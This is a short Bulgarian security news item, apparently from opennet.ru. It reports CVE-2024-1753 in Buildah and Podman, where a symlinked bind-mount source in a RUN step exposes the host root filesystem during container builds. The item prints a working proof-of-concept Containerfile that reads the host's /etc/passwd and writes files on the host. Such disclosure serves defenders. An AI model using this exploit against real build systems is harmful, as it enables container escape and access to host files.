В пакетите Buildah и Podman е установена уязвимост (CVE-2024-1753), която позволява пълен достъп до файловата система на хост средата по време на изграждането на контейнера, изпълняван с права root. На системи с включен SELinux достъпът до хостовата ФС е ограничен до режим само за четене. Корекцията е налична в момента под формата на патч, който беше приет преди няколко минути в кодовата база на Buildah.
Уязвимостта се дължи на факта, че при изпълнение на монтиране на части от ФС чрез командата „mount —bind“ по време на изграждане на етапа RUN, аргументът с изходната директория (параметър „source=“) не се проверява дали съществува в кореновата ФС. Злоумышленикът може да използва конфигурационен файл Containerfile, в който изходната директория за монтиране е представена като символична връзка към кореновата ФС. В този случай операцията по монтиране ще доведе до монтиране на хостовата коренова ФС вътре в контейнера, позволявайки на етапа RUN да се получи пълен достъп до файловата система на хост средата и да се извърши изход от контейнера по време на изграждането чрез командите „buildah build“ или „podman build“.
Пример за злонамерен файл Containerfile, чиято сборка с командата „podman build -f ~/Containerfile .“ ще доведе до показване на съдържанието на /etc/passwd и създаване на файлове /BIND_BREAKEOUT и /etc/BIND_BREAKOUT2 в хост средата: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo „ls container root“ RUN ls -l / RUN echo „С експлойти показва корена на хоста, а не на контейнера, и създава /BIND_BREAKOUT в / на хоста“ RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo „С експлойти показва хост /etc/passwd, а не на контейнера, и създава /BIND_BREAKOUT2 в /etc на хоста“ RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Източник: opennet.ru
